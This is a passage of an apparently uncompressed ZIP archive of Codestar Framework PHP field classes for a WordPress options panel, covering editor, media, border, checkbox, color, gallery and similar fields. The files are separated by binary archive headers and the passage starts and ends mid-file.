 * @version 1.0.0
 *
 */
if ( ! class_exists( 'CSF_Field_wp_editor' ) ) {
  class CSF_Field_wp_editor extends CSF_Fields {

    public function __construct( $field, $value = '', $unique = '', $where = '', $parent = '' ) {
      parent::__construct( $field, $value, $unique, $where, $parent );
    }

    public function render() {

      $args = wp_parse_args( $this->field, array(
        'tinymce'       => true,
        'quicktags'     => true,
        'media_buttons' => true,
        'wpautop'       => false,
        'height'        => '',
      ) );

      $attributes = array(
        'rows'         => 10,
        'class'        => 'wp-editor-area',
        'autocomplete' => 'off',
      );

      $editor_height = ( ! empty( $args['height'] ) ) ? ' style="height:'. esc_attr( $args['height'] ) .';"' : '';

      $editor_settings  = array(
        'tinymce'       => $args['tinymce'],
        'quicktags'     => $args['quicktags'],
        'media_buttons' => $args['media_buttons'],
        'wpautop'       => $args['wpautop'],
      );

      echo $this->field_before();

      echo ( csf_wp_editor_api() ) ? '<div class="csf-wp-editor" data-editor-settings="'. esc_attr( json_encode( $editor_settings ) ) .'">' : '';

      echo '<textarea name="'. esc_attr( $this->field_name() ) .'"'. $this->field_attributes( $attributes ) . $editor_height .'>'. $this->value .'</textarea>';

      echo ( csf_wp_editor_api() ) ? '</div>' : '';

      echo $this->field_after();

    }

    public function enqueue() {

      if ( csf_wp_editor_api() && function_exists( 'wp_enqueue_editor' ) ) {

        wp_enqueue_editor();

        $this->setup_wp_editor_settings();

        add_action( 'print_default_editor_scripts', array( $this, 'setup_wp_editor_media_buttons' ) );

      }

    }

    // Setup wp editor media buttons
    public function setup_wp_editor_media_buttons() {

      if ( ! function_exists( 'media_buttons' ) ) {
        return;
      }

      ob_start();
        echo '<div class="wp-media-buttons">';
          do_action( 'media_buttons' );
        echo '</div>';
      $media_buttons = ob_get_clean();

      echo '<script type="text/javascript">';
      echo 'var csf_media_buttons = '. json_encode( $media_buttons ) .';';
      echo '</script>';

    }

    // Setup wp editor settings
    public function setup_wp_editor_settings() {

      if ( csf_wp_editor_api() && class_exists( '_WP_Editors') ) {

        $defaults = apply_filters( 'csf_wp_editor', array(
          'tinymce' => array(
            'wp_skip_init' => true
          ),
        ) );

        $setup = _WP_Editors::parse_settings( 'csf_wp_editor', $defaults );

        _WP_Editors::editor_settings( 'csf_wp_editor', $setup );

      }

    }

  }
}
PK     2w\ڳ
  
  *  options/framework/fields/sorter/sorter.phpnu [        <?php if ( ! defined( 'ABSPATH' ) ) { die; } // Cannot access directly.
/**
 *
 * Field: sorter
 *
 * @since 1.0.0
 * @version 1.0.0
 *
 */
if ( ! class_exists( 'CSF_Field_sorter' ) ) {
  class CSF_Field_sorter extends CSF_Fields {

    public function __construct( $field, $value = '', $unique = '', $where = '', $parent = '' ) {
      parent::__construct( $field, $value, $unique, $where, $parent );
    }

    public function render() {

      $args = wp_parse_args( $this->field, array(
        'disabled'       => true,
        'enabled_title'  => esc_html__( 'Enabled', 'csf' ),
        'disabled_title' => esc_html__( 'Disabled', 'csf' ),
      ) );

      echo $this->field_before();

      $this->value      = ( ! empty( $this->value ) ) ? $this->value : $this->field['default'];
      $enabled_options  = ( ! empty( $this->value['enabled'] ) ) ? $this->value['enabled'] : array();
      $disabled_options = ( ! empty( $this->value['disabled'] ) ) ? $this->value['disabled'] : array();

      echo '<div class="csf-sorter" data-depend-id="'. esc_attr( $this->field['id'] ) .'"></div>';

      echo ( $args['disabled'] ) ? '<div class="csf-modules">' : '';

      echo ( ! empty( $args['enabled_title'] ) ) ? '<div class="csf-sorter-title">'. esc_attr( $args['enabled_title'] ) .'</div>' : '';
      echo '<ul class="csf-enabled">';
      if ( ! empty( $enabled_options ) ) {
        foreach ( $enabled_options as $key => $value ) {
          echo '<li><input type="hidden" name="'. esc_attr( $this->field_name( '[enabled]['. $key .']' ) ) .'" value="'. esc_attr( $value ) .'"/><label>'. esc_attr( $value ) .'</label></li>';
        }
      }
      echo '</ul>';

      // Check for hide/show disabled section
      if ( $args['disabled'] ) {

        echo '</div>';

        echo '<div class="csf-modules">';
        echo ( ! empty( $args['disabled_title'] ) ) ? '<div class="csf-sorter-title">'. esc_attr( $args['disabled_title'] ) .'</div>' : '';
        echo '<ul class="csf-disabled">';
        if ( ! empty( $disabled_options ) ) {
          foreach ( $disabled_options as $key => $value ) {
          echo '<li><input type="hidden" name="'. esc_attr( $this->field_name( '[disabled]['. $key .']' ) ) .'" value="'. esc_attr( $value ) .'"/><label>'. esc_attr( $value ) .'</label></li>';
          }
        }
        echo '</ul>';
        echo '</div>';

      }


      echo $this->field_after();

    }

    public function enqueue() {

      if ( ! wp_script_is( 'jquery-ui-sortable' ) ) {
        wp_enqueue_script( 'jquery-ui-sortable' );
      }

    }

  }
}
PK     2w\K    (  options/framework/fields/media/media.phpnu [        <?php if ( ! defined( 'ABSPATH' ) ) { die; } // Cannot access directly.
/**
 *
 * Field: media
 *
 * @since 1.0.0
 * @version 1.0.0
 *
 */
if ( ! class_exists( 'CSF_Field_media' ) ) {
  class CSF_Field_media extends CSF_Fields {

    public function __construct( $field, $value = '', $unique = '', $where = '', $parent = '' ) {
      parent::__construct( $field, $value, $unique, $where, $parent );
    }

    public function render() {

      $args = wp_parse_args( $this->field, array(
        'url'            => true,
        'preview'        => true,
        'preview_width'  => '',
        'preview_height' => '',
        'library'        => array(),
        'button_title'   => esc_html__( 'Upload', 'csf' ),
        'remove_title'   => esc_html__( 'Remove', 'csf' ),
        'preview_size'   => 'thumbnail',
      ) );

      $default_values = array(
        'url'         => '',
        'id'          => '',
        'width'       => '',
        'height'      => '',
        'thumbnail'   => '',
        'alt'         => '',
        'title'       => '',
        'description' => ''
      );

      // fallback
      if ( is_numeric( $this->value ) ) {

        $this->value  = array(
          'id'        => $this->value,
          'url'       => wp_get_attachment_url( $this->value ),
          'thumbnail' => wp_get_attachment_image_src( $this->value, 'thumbnail', true )[0],
        );

      }

      $this->value = wp_parse_args( $this->value, $default_values );

      $library     = ( is_array( $args['library'] ) ) ? $args['library'] : array_filter( (array) $args['library'] );
      $library     = ( ! empty( $library ) ) ? implode(',', $library ) : '';
      $preview_src = ( $args['preview_size'] !== 'thumbnail' ) ? $this->value['url'] : $this->value['thumbnail'];
      $hidden_url  = ( empty( $args['url'] ) ) ? ' hidden' : '';
      $hidden_auto = ( empty( $this->value['url'] ) ) ? ' hidden' : '';
      $placeholder = ( empty( $this->field['placeholder'] ) ) ? ' placeholder="'.  esc_html__( 'Not selected', 'csf' ) .'"' : '';

      echo $this->field_before();

      if ( ! empty( $args['preview'] ) ) {

        $preview_width  = ( ! empty( $args['preview_width'] ) ) ? 'max-width:'. esc_attr( $args['preview_width'] ) .'px;' : '';
        $preview_height = ( ! empty( $args['preview_height'] ) ) ? 'max-height:'. esc_attr( $args['preview_height'] ) .'px;' : '';
        $preview_style  = ( ! empty( $preview_width ) || ! empty( $preview_height ) ) ? ' style="'. esc_attr( $preview_width . $preview_height ) .'"': '';

        echo '<div class="csf--preview'. esc_attr( $hidden_auto ) .'">';
        echo '<div class="csf-image-preview"'. $preview_style .'>';
        echo '<i class="csf--remove fas fa-times"></i><span><img src="'. esc_url( $preview_src ) .'" class="csf--src" /></span>';
        echo '</div>';
        echo '</div>';

      }

      echo '<div class="csf--placeholder">';
      echo '<input type="text" name="'. esc_attr( $this->field_name( '[url]' ) ) .'" value="'. esc_attr( $this->value['url'] ) .'" class="csf--url'. esc_attr( $hidden_url ) .'" readonly="readonly"'. $this->field_attributes() . $placeholder .' />';
      echo '<a href="#" class="button button-primary csf--button" data-library="'. esc_attr( $library ) .'" data-preview-size="'. esc_attr( $args['preview_size'] ) .'">'. $args['button_title'] .'</a>';
      echo ( empty( $args['preview'] ) ) ? '<a href="#" class="button button-secondary csf-warning-primary csf--remove'. esc_attr( $hidden_auto ) .'">'. $args['remove_title'] .'</a>' : '';
      echo '</div>';

      echo '<input type="hidden" name="'. esc_attr( $this->field_name( '[id]' ) ) .'" value="'. esc_attr( $this->value['id'] ) .'" class="csf--id"/>';
      echo '<input type="hidden" name="'. esc_attr( $this->field_name( '[width]' ) ) .'" value="'. esc_attr( $this->value['width'] ) .'" class="csf--width"/>';
      echo '<input type="hidden" name="'. esc_attr( $this->field_name( '[height]' ) ) .'" value="'. esc_attr( $this->value['height'] ) .'" class="csf--height"/>';
      echo '<input type="hidden" name="'. esc_attr( $this->field_name( '[thumbnail]' ) ) .'" value="'. esc_attr( $this->value['thumbnail'] ) .'" class="csf--thumbnail"/>';
      echo '<input type="hidden" name="'. esc_attr( $this->field_name( '[alt]' ) ) .'" value="'. esc_attr( $this->value['alt'] ) .'" class="csf--alt"/>';
      echo '<input type="hidden" name="'. esc_attr( $this->field_name( '[title]' ) ) .'" value="'. esc_attr( $this->value['title'] ) .'" class="csf--title"/>';
      echo '<input type="hidden" name="'. esc_attr( $this->field_name( '[description]' ) ) .'" value="'. esc_attr( $this->value['description'] ) .'" class="csf--description"/>';

      echo $this->field_after();

    }

  }
}
PK     2w\	
    *  options/framework/fields/notice/notice.phpnu [        <?php if ( ! defined( 'ABSPATH' ) ) { die; } // Cannot access directly.
/**
 *
 * Field: notice
 *
 * @since 1.0.0
 * @version 1.0.0
 *
 */
if ( ! class_exists( 'CSF_Field_notice' ) ) {
  class CSF_Field_notice extends CSF_Fields {

    public function __construct( $field, $value = '', $unique = '', $where = '', $parent = '' ) {
      parent::__construct( $field, $value, $unique, $where, $parent );
    }

    public function render() {

      $style = ( ! empty( $this->field['style'] ) ) ? $this->field['style'] : 'normal';

      echo ( ! empty( $this->field['content'] ) ) ? '<div class="csf-notice csf-notice-'. esc_attr( $style ) .'">'. $this->field['content'] .'</div>' : '';

    }

  }
}
PK     2w\e<6,  ,  ,  options/framework/fields/content/content.phpnu [        <?php if ( ! defined( 'ABSPATH' ) ) { die; } // Cannot access directly.
/**
 *
 * Field: content
 *
 * @since 1.0.0
 * @version 1.0.0
 *
 */
if ( ! class_exists( 'CSF_Field_content' ) ) {
  class CSF_Field_content extends CSF_Fields {

    public function __construct( $field, $value = '', $unique = '', $where = '', $parent = '' ) {
      parent::__construct( $field, $value, $unique, $where, $parent );
    }

    public function render() {

      if ( ! empty( $this->field['content'] ) ) {

        echo $this->field['content'];

      }

    }

  }
}
PK     2w\-"  "  *  options/framework/fields/border/border.phpnu [        <?php if ( ! defined( 'ABSPATH' ) ) { die; } // Cannot access directly.
/**
 *
 * Field: border
 *
 * @since 1.0.0
 * @version 1.0.0
 *
 */
if ( ! class_exists( 'CSF_Field_border' ) ) {
  class CSF_Field_border extends CSF_Fields {

    public function __construct( $field, $value = '', $unique = '', $where = '', $parent = '' ) {
      parent::__construct( $field, $value, $unique, $where, $parent );
    }

    public function render() {

      $args = wp_parse_args( $this->field, array(
        'top_icon'           => '<i class="fas fa-long-arrow-alt-up"></i>',
        'left_icon'          => '<i class="fas fa-long-arrow-alt-left"></i>',
        'bottom_icon'        => '<i class="fas fa-long-arrow-alt-down"></i>',
        'right_icon'         => '<i class="fas fa-long-arrow-alt-right"></i>',
        'all_icon'           => '<i class="fas fa-arrows-alt"></i>',
        'top_placeholder'    => esc_html__( 'top', 'csf' ),
        'right_placeholder'  => esc_html__( 'right', 'csf' ),
        'bottom_placeholder' => esc_html__( 'bottom', 'csf' ),
        'left_placeholder'   => esc_html__( 'left', 'csf' ),
        'all_placeholder'    => esc_html__( 'all', 'csf' ),
        'top'                => true,
        'left'               => true,
        'bottom'             => true,
        'right'              => true,
        'all'                => false,
        'color'              => true,
        'style'              => true,
        'unit'               => 'px',
      ) );

      $default_value = array(
        'top'        => '',
        'right'      => '',
        'bottom'     => '',
        'left'       => '',
        'color'      => '',
        'style'      => 'solid',
        'all'        => '',
      );

      $border_props = array(
        'solid'     => esc_html__( 'Solid', 'csf' ),
        'dashed'    => esc_html__( 'Dashed', 'csf' ),
        'dotted'    => esc_html__( 'Dotted', 'csf' ),
        'double'    => esc_html__( 'Double', 'csf' ),
        'inset'     => esc_html__( 'Inset', 'csf' ),
        'outset'    => esc_html__( 'Outset', 'csf' ),
        'groove'    => esc_html__( 'Groove', 'csf' ),
        'ridge'     => esc_html__( 'ridge', 'csf' ),
        'none'      => esc_html__( 'None', 'csf' )
      );

      $default_value = ( ! empty( $this->field['default'] ) ) ? wp_parse_args( $this->field['default'], $default_value ) : $default_value;

      $value = wp_parse_args( $this->value, $default_value );

      echo $this->field_before();

      echo '<div class="csf--inputs" data-depend-id="'. esc_attr( $this->field['id'] ) .'">';

      if ( ! empty( $args['all'] ) ) {

        $placeholder = ( ! empty( $args['all_placeholder'] ) ) ? ' placeholder="'. esc_attr( $args['all_placeholder'] ) .'"' : '';

        echo '<div class="csf--input">';
        echo ( ! empty( $args['all_icon'] ) ) ? '<span class="csf--label csf--icon">'. $args['all_icon'] .'</span>' : '';
        echo '<input type="number" name="'. esc_attr( $this->field_name( '[all]' ) ) .'" value="'. esc_attr( $value['all'] ) .'"'. $placeholder .' class="csf-input-number csf--is-unit" step="any" />';
        echo ( ! empty( $args['unit'] ) ) ? '<span class="csf--label csf--unit">'. esc_attr( $args['unit'] ) .'</span>' : '';
        echo '</div>';

      } else {

        $properties = array();

        foreach ( array( 'top', 'right', 'bottom', 'left' ) as $prop ) {
          if ( ! empty( $args[$prop] ) ) {
            $properties[] = $prop;
          }
        }

        $properties = ( $properties === array( 'right', 'left' ) ) ? array_reverse( $properties ) : $properties;

        foreach ( $properties as $property ) {

          $placeholder = ( ! empty( $args[$property.'_placeholder'] ) ) ? ' placeholder="'. esc_attr( $args[$property.'_placeholder'] ) .'"' : '';

          echo '<div class="csf--input">';
          echo ( ! empty( $args[$property.'_icon'] ) ) ? '<span class="csf--label csf--icon">'. $args[$property.'_icon'] .'</span>' : '';
          echo '<input type="number" name="'. esc_attr( $this->field_name( '['. $property .']' ) ) .'" value="'. esc_attr( $value[$property] ) .'"'. $placeholder .' class="csf-input-number csf--is-unit" step="any" />';
          echo ( ! empty( $args['unit'] ) ) ? '<span class="csf--label csf--unit">'. esc_attr( $args['unit'] ) .'</span>' : '';
          echo '</div>';

        }

      }

      if ( ! empty( $args['style'] ) ) {
        echo '<div class="csf--input">';
        echo '<select name="'. esc_attr( $this->field_name( '[style]' ) ) .'">';
        foreach ( $border_props as $border_prop_key => $border_prop_value ) {
          $selected = ( $value['style'] === $border_prop_key ) ? ' selected' : '';
          echo '<option value="'. esc_attr( $border_prop_key ) .'"'. esc_attr( $selected ) .'>'. esc_attr( $border_prop_value ) .'</option>';
        }
        echo '</select>';
        echo '</div>';
      }

      echo '</div>';

      if ( ! empty( $args['color'] ) ) {
        $default_color_attr = ( ! empty( $default_value['color'] ) ) ? ' data-default-color="'. esc_attr( $default_value['color'] ) .'"' : '';
        echo '<div class="csf--color">';
        echo '<div class="csf-field-color">';
        echo '<input type="text" name="'. esc_attr( $this->field_name( '[color]' ) ) .'" value="'. esc_attr( $value['color'] ) .'" class="csf-color"'. $default_color_attr .' />';
        echo '</div>';
        echo '</div>';
      }

      echo $this->field_after();

    }

    public function output() {

      $output    = '';
      $unit      = ( ! empty( $this->value['unit'] ) ) ? $this->value['unit'] : 'px';
      $important = ( ! empty( $this->field['output_important'] ) ) ? '!important' : '';
      $element   = ( is_array( $this->field['output'] ) ) ? join( ',', $this->field['output'] ) : $this->field['output'];

      // properties
      $top     = ( isset( $this->value['top'] )    && $this->value['top']    !== '' ) ? $this->value['top']    : '';
      $right   = ( isset( $this->value['right'] )  && $this->value['right']  !== '' ) ? $this->value['right']  : '';
      $bottom  = ( isset( $this->value['bottom'] ) && $this->value['bottom'] !== '' ) ? $this->value['bottom'] : '';
      $left    = ( isset( $this->value['left'] )   && $this->value['left']   !== '' ) ? $this->value['left']   : '';
      $style   = ( isset( $this->value['style'] )  && $this->value['style']  !== '' ) ? $this->value['style']  : '';
      $color   = ( isset( $this->value['color'] )  && $this->value['color']  !== '' ) ? $this->value['color']  : '';
      $all     = ( isset( $this->value['all'] )    && $this->value['all']    !== '' ) ? $this->value['all']    : '';

      if ( ! empty( $this->field['all'] ) && ( $all !== '' || $color !== '' ) ) {

        $output  = $element .'{';
        $output .= ( $all   !== '' ) ? 'border-width:'. $all . $unit . $important .';' : '';
        $output .= ( $color !== '' ) ? 'border-color:'. $color . $important .';'       : '';
        $output .= ( $style !== '' ) ? 'border-style:'. $style . $important .';'       : '';
        $output .= '}';

      } else if ( $top !== '' || $right !== '' || $bottom !== '' || $left !== '' || $color !== '' ) {

        $output  = $element .'{';
        $output .= ( $top    !== '' ) ? 'border-top-width:'. $top . $unit . $important .';'       : '';
        $output .= ( $right  !== '' ) ? 'border-right-width:'. $right . $unit . $important .';'   : '';
        $output .= ( $bottom !== '' ) ? 'border-bottom-width:'. $bottom . $unit . $important .';' : '';
        $output .= ( $left   !== '' ) ? 'border-left-width:'. $left . $unit . $important .';'     : '';
        $output .= ( $color  !== '' ) ? 'border-color:'. $color . $important .';'                 : '';
        $output .= ( $style  !== '' ) ? 'border-style:'. $style . $important .';'                 : '';
        $output .= '}';

      }

      $this->parent->output_css .= $output;

      return $output;

    }

  }
}
PK     2w\;;  ;  .  options/framework/fields/checkbox/checkbox.phpnu [        <?php if ( ! defined( 'ABSPATH' ) ) { die; } // Cannot access directly.
/**
 *
 * Field: checkbox
 *
 * @since 1.0.0
 * @version 1.0.0
 *
 */
if ( ! class_exists( 'CSF_Field_checkbox' ) ) {
  class CSF_Field_checkbox extends CSF_Fields {

    public function __construct( $field, $value = '', $unique = '', $where = '', $parent = '' ) {
      parent::__construct( $field, $value, $unique, $where, $parent );
    }

    public function render() {

      $args              = wp_parse_args( $this->field, array(
        'inline'         => false,
        'query_args'     => array(),
        'check_all'      => false,
        'check_all_text' => esc_html__( 'Check/Uncheck All' ),
      ) );

      $inline_class = ( $args['inline'] ) ? ' class="csf--inline-list"' : '';

      echo $this->field_before();

      if ( isset( $this->field['options'] ) ) {

        $value   = ( is_array( $this->value ) ) ? $this->value : array_filter( (array) $this->value );
        $options = $this->field['options'];
        $options = ( is_array( $options ) ) ? $options : array_filter( $this->field_data( $options, false, $args['query_args'] ) );

        if ( is_array( $options ) && ! empty( $options ) ) {

          echo '<ul'. $inline_class .'>';

          foreach ( $options as $option_key => $option_value ) {

            if ( is_array( $option_value ) && ! empty( $option_value ) ) {

              echo '<li>';
                echo '<ul>';
                  echo '<li><strong>'. esc_attr( $option_key ) .'</strong></li>';
                  foreach ( $option_value as $sub_key => $sub_value ) {
                    $checked = ( in_array( $sub_key, $value ) ) ? ' checked' : '';
                    echo '<li>';
                    echo '<label>';
                    echo '<input type="checkbox" name="'. esc_attr( $this->field_name( '[]' ) ) .'" value="'. esc_attr( $sub_key ) .'"'. $this->field_attributes() . esc_attr( $checked ) .'/>';
                    echo '<span class="csf--text">'. esc_attr( $sub_value ) .'</span>';
                    echo '</label>';
                    echo '</li>';
                  }
                echo '</ul>';
              echo '</li>';

            } else {

              $checked = ( in_array( $option_key, $value ) ) ? ' checked' : '';

              echo '<li>';
              echo '<label>';
              echo '<input type="checkbox" name="'. esc_attr( $this->field_name( '[]' ) ) .'" value="'. esc_attr( $option_key ) .'"'. $this->field_attributes() . esc_attr( $checked ) .'/>';
              echo '<span class="csf--text">'. esc_attr( $option_value ) .'</span>';
              echo '</label>';
              echo '</li>';

            }

          }

          echo '</ul>';

          if ( $args['check_all'] ) {
            echo '<div class="csf-checkbox-all">'. esc_html( $args['check_all_text'] ) .'</div>';
          }

        } else {

          echo ( ! empty( $this->field['empty_message'] ) ) ? esc_attr( $this->field['empty_message'] ) : esc_html__( 'No data available.', 'csf' );

        }

      } else {

        echo '<label class="csf-checkbox">';
        echo '<input type="hidden" name="'. esc_attr( $this->field_name() ) .'" value="'. $this->value .'" class="csf--input"'. $this->field_attributes() .'/>';
        echo '<input type="checkbox" name="_pseudo" class="csf--checkbox"'. esc_attr( checked( $this->value, 1, false ) ) . $this->field_attributes() .'/>';
        echo ( ! empty( $this->field['label'] ) ) ? '<span class="csf--text">'. esc_attr( $this->field['label'] ) .'</span>' : '';
        echo '</label>';

      }

      echo $this->field_after();

    }

  }
}
PK     2w\[J%  %  2  options/framework/fields/subheading/subheading.phpnu [        <?php if ( ! defined( 'ABSPATH' ) ) { die; } // Cannot access directly.
/**
 *
 * Field: subheading
 *
 * @since 1.0.0
 * @version 1.0.0
 *
 */
if ( ! class_exists( 'CSF_Field_subheading' ) ) {
  class CSF_Field_subheading extends CSF_Fields {

    public function __construct( $field, $value = '', $unique = '', $where = '', $parent = '' ) {
      parent::__construct( $field, $value, $unique, $where, $parent );
    }

    public function render() {

      echo ( ! empty( $this->field['content'] ) ) ? $this->field['content'] : '';

    }

  }
}
PK     2w\=p    2  options/framework/fields/submessage/submessage.phpnu [        <?php if ( ! defined( 'ABSPATH' ) ) { die; } // Cannot access directly.
/**
 *
 * Field: submessage
 *
 * @since 1.0.0
 * @version 1.0.0
 *
 */
if ( ! class_exists( 'CSF_Field_submessage' ) ) {
  class CSF_Field_submessage extends CSF_Fields {

    public function __construct( $field, $value = '', $unique = '', $where = '', $parent = '' ) {
      parent::__construct( $field, $value, $unique, $where, $parent );
    }

    public function render() {

      $style = ( ! empty( $this->field['style'] ) ) ? $this->field['style'] : 'normal';

      echo '<div class="csf-submessage csf-submessage-'. esc_attr( $style ) .'">'. $this->field['content'] .'</div>';

    }

  }
}
PK     2w\dr    .  options/framework/fields/fieldset/fieldset.phpnu [        <?php if ( ! defined( 'ABSPATH' ) ) { die; } // Cannot access directly.
/**
 *
 * Field: fieldset
 *
 * @since 1.0.0
 * @version 1.0.0
 *
 */
if ( ! class_exists( 'CSF_Field_fieldset' ) ) {
  class CSF_Field_fieldset extends CSF_Fields {

    public function __construct( $field, $value = '', $unique = '', $where = '', $parent = '' ) {
      parent::__construct( $field, $value, $unique, $where, $parent );
    }

    public function render() {

      echo $this->field_before();

      echo '<div class="csf-fieldset-content" data-depend-id="'. esc_attr( $this->field['id'] ) .'">';

      foreach ( $this->field['fields'] as $field ) {

        $field_id      = ( isset( $field['id'] ) ) ? $field['id'] : '';
        $field_default = ( isset( $field['default'] ) ) ? $field['default'] : '';
        $field_value   = ( isset( $this->value[$field_id] ) ) ? $this->value[$field_id] : $field_default;
        $unique_id     = ( ! empty( $this->unique ) ) ? $this->unique .'['. $this->field['id'] .']' : $this->field['id'];

        CSF::field( $field, $field_value, $unique_id, 'field/fieldset' );

      }

      echo '</div>';

      echo $this->field_after();

    }

  }
}
PK     2w\)33  3  .  options/framework/fields/textarea/textarea.phpnu [        <?php if ( ! defined( 'ABSPATH' ) ) { die; } // Cannot access directly.
/**
 *
 * Field: textarea
 *
 * @since 1.0.0
 * @version 1.0.0
 *
 */
if ( ! class_exists( 'CSF_Field_textarea' ) ) {
  class CSF_Field_textarea extends CSF_Fields {

    public function __construct( $field, $value = '', $unique = '', $where = '', $parent = '' ) {
      parent::__construct( $field, $value, $unique, $where, $parent );
    }

    public function render() {

      echo $this->field_before();
      echo $this->shortcoder();
      echo '<textarea name="'. esc_attr( $this->field_name() ) .'"'. $this->field_attributes() .'>'. $this->value .'</textarea>';
      echo $this->field_after();

    }

    public function shortcoder() {

      if ( ! empty( $this->field['shortcoder'] ) ) {

        $shortcodes = ( is_array( $this->field['shortcoder'] ) ) ? $this->field['shortcoder'] : array_filter( (array) $this->field['shortcoder'] );
        $instances  = ( ! empty( CSF::$shortcode_instances ) ) ? CSF::$shortcode_instances : array();

        if ( ! empty( $shortcodes ) && ! empty( $instances ) ) {

          foreach ( $shortcodes as $shortcode ) {

            foreach ( $instances as $instance ) {

              if ( $instance['modal_id'] === $shortcode ) {

                $id    = $instance['modal_id'];
                $title = $instance['button_title'];

                echo '<a href="#" class="button button-primary csf-shortcode-button" data-modal-id="'. esc_attr( $id ) .'">'. esc_html( $title ) .'</a>';

              }

            }

          }

        }

      }

    }
  }
}
PK     2w\^    (  options/framework/fields/color/color.phpnu [        <?php if ( ! defined( 'ABSPATH' ) ) { die; } // Cannot access directly.
/**
 *
 * Field: color
 *
 * @since 1.0.0
 * @version 1.0.0
 *
 */
if ( ! class_exists( 'CSF_Field_color' ) ) {
  class CSF_Field_color extends CSF_Fields {

    public function __construct( $field, $value = '', $unique = '', $where = '', $parent = '' ) {
      parent::__construct( $field, $value, $unique, $where, $parent );
    }

    public function render() {

      $default_attr = ( ! empty( $this->field['default'] ) ) ? ' data-default-color="'. esc_attr( $this->field['default'] ) .'"' : '';

      echo $this->field_before();
      echo '<input type="text" name="'. esc_attr( $this->field_name() ) .'" value="'. esc_attr( $this->value ) .'" class="csf-color"'. $default_attr . $this->field_attributes() .'/>';
      echo $this->field_after();

    }

    public function output() {

      $output    = '';
      $elements  = ( is_array( $this->field['output'] ) ) ? $this->field['output'] : array_filter( (array) $this->field['output'] );
      $important = ( ! empty( $this->field['output_important'] ) ) ? '!important' : '';
      $mode      = ( ! empty( $this->field['output_mode'] ) ) ? $this->field['output_mode'] : 'color';

      if ( ! empty( $elements ) && isset( $this->value ) && $this->value !== '' ) {
        foreach ( $elements as $key_property => $element ) {
          if ( is_numeric( $key_property ) ) {
            $output = implode( ',', $elements ) .'{'. $mode .':'. $this->value . $important .';}';
            break;
          } else {
            $output .= $element .'{'. $key_property .':'. $this->value . $important .'}';
          }
        }
      }

      $this->parent->output_css .= $output;

      return $output;

    }

  }
}
PK     2w\u  u  ,  options/framework/fields/heading/heading.phpnu [        <?php if ( ! defined( 'ABSPATH' ) ) { die; } // Cannot access directly.
/**
 *
 * Field: heading
 *
 * @since 1.0.0
 * @version 1.0.0
 *
 */
if ( ! class_exists( 'CSF_Field_heading' ) ) {
  class CSF_Field_heading extends CSF_Fields {

    public function __construct( $field, $value = '', $unique = '', $where = '', $parent = '' ) {
      parent::__construct( $field, $value, $unique, $where, $parent );
    }

    public function render() {
      echo $this->field_before();
      echo '<div class="csf-heading-expand"><a href="#" class="csf-heading-expand-btn">Expand</a></div>';
      echo $this->field_after();
    }

  }
}
PK     2w\}KY  Y  0  options/framework/fields/accordion/accordion.phpnu [        <?php if ( ! defined( 'ABSPATH' ) ) { die; } // Cannot access directly.
/**
 *
 * Field: accordion
 *
 * @since 1.0.0
 * @version 1.0.0
 *
 */
if ( ! class_exists( 'CSF_Field_accordion' ) ) {
  class CSF_Field_accordion extends CSF_Fields {

    public function __construct( $field, $value = '', $unique = '', $where = '', $parent = '' ) {
      parent::__construct( $field, $value, $unique, $where, $parent );
    }

    public function render() {

      $unallows = array( 'accordion' );

      echo $this->field_before();

      echo '<div class="csf-accordion-items" data-depend-id="'. esc_attr( $this->field['id'] ) .'">';

      foreach ( $this->field['accordions'] as $key => $accordion ) {

        echo '<div class="csf-accordion-item">';

          $icon = ( ! empty( $accordion['icon'] ) ) ? 'csf--icon '. $accordion['icon'] : 'csf-accordion-icon fas fa-angle-right';

          echo '<h4 class="csf-accordion-title">';
          echo '<i class="'. esc_attr( $icon ) .'"></i>';
          echo esc_html( $accordion['title'] );
          echo '</h4>';

          echo '<div class="csf-accordion-content">';

          foreach ( $accordion['fields'] as $field ) {

            if ( in_array( $field['type'], $unallows ) ) { $field['_notice'] = true; }

            $field_id      = ( isset( $field['id'] ) ) ? $field['id'] : '';
            $field_default = ( isset( $field['default'] ) ) ? $field['default'] : '';
            $field_value   = ( isset( $this->value[$field_id] ) ) ? $this->value[$field_id] : $field_default;
            $unique_id     = ( ! empty( $this->unique ) ) ? $this->unique .'['. $this->field['id'] .']' : $this->field['id'];

            CSF::field( $field, $field_value, $unique_id, 'field/accordion' );

          }

          echo '</div>';

        echo '</div>';

      }

      echo '</div>';

      echo $this->field_after();

    }

  }
}
PK     2w\w  w  ,  options/framework/fields/gallery/gallery.phpnu [        <?php if ( ! defined( 'ABSPATH' ) ) { die; } // Cannot access directly.
/**
 *
 * Field: gallery
 *
 * @since 1.0.0
 * @version 1.0.0
 *
 */
if ( ! class_exists( 'CSF_Field_gallery' ) ) {
  class CSF_Field_gallery extends CSF_Fields {

    public function __construct( $field, $value = '', $unique = '', $where = '', $parent = '' ) {
      parent::__construct( $field, $value, $unique, $where, $parent );
    }

    public function render() {

      $args = wp_parse_args( $this->field, array(
        'add_title'   => esc_html__( 'Add Gallery', 'csf' ),
        'edit_title'  => esc_html__( 'Edit Gallery', 'csf' ),
        'clear_title' => esc_html__( 'Clear', 'csf' ),
      ) );

      $hidden = ( empty( $this->value ) ) ? ' hidden' : '';

      echo $this->field_before();

      echo '<ul>';
      if ( ! empty( $this->value ) ) {

        $values = explode( ',', $this->value );

        foreach ( $values as $id ) {
          $attachment = wp_get_attachment_image_src( $id, 'thumbnail' );
          echo '<li><img src="'. esc_url( $attachment[0] ) .'" /></li>';
        }

      }
      echo '</ul>';

      echo '<a href="#" class="button button-primary csf-button">'. $args['add_title'] .'</a>';
      echo '<a href="#" class="button csf-edit-gallery'. esc_attr( $hidden ) .'">'. $args['edit_title'] .'</a>';
      echo '<a href="#" class="button csf-warning-primary csf-clear-gallery'. esc_attr( $hidden ) .'">'. $args['clear_title'] .'</a>';
      echo '<input type="hidden" name="'. esc_attr( $this->field_name() ) .'" value="'. esc_attr( $this->value ) .'"'. $this->field_attributes() .'/>';

      echo $this->field_after();

    }

  }
}
PK     2w\K    ,  options/framework/fields/spinner/spinner.phpnu [        <?php if ( ! defined( 'ABSPATH' ) ) { die; } // Cannot access directly.
/**
 *
 * Field: spinner
 *
 * @since 1.0.0
 * @version 1.0.0
 *
 */
if ( ! class_exists( 'CSF_Field_spinner' ) ) {
  class CSF_Field_spinner extends CSF_Fields {

    public function __construct( $field, $value = '', $unique = '', $where = '', $parent = '' ) {
      parent::__construct( $field, $value, $unique, $where, $parent );
    }

    public function render() {

      $args = wp_parse_args( $this->field, array(
        'max'  => 100,
        'min'  => 0,
        'step' => 1,
        'unit' => '',
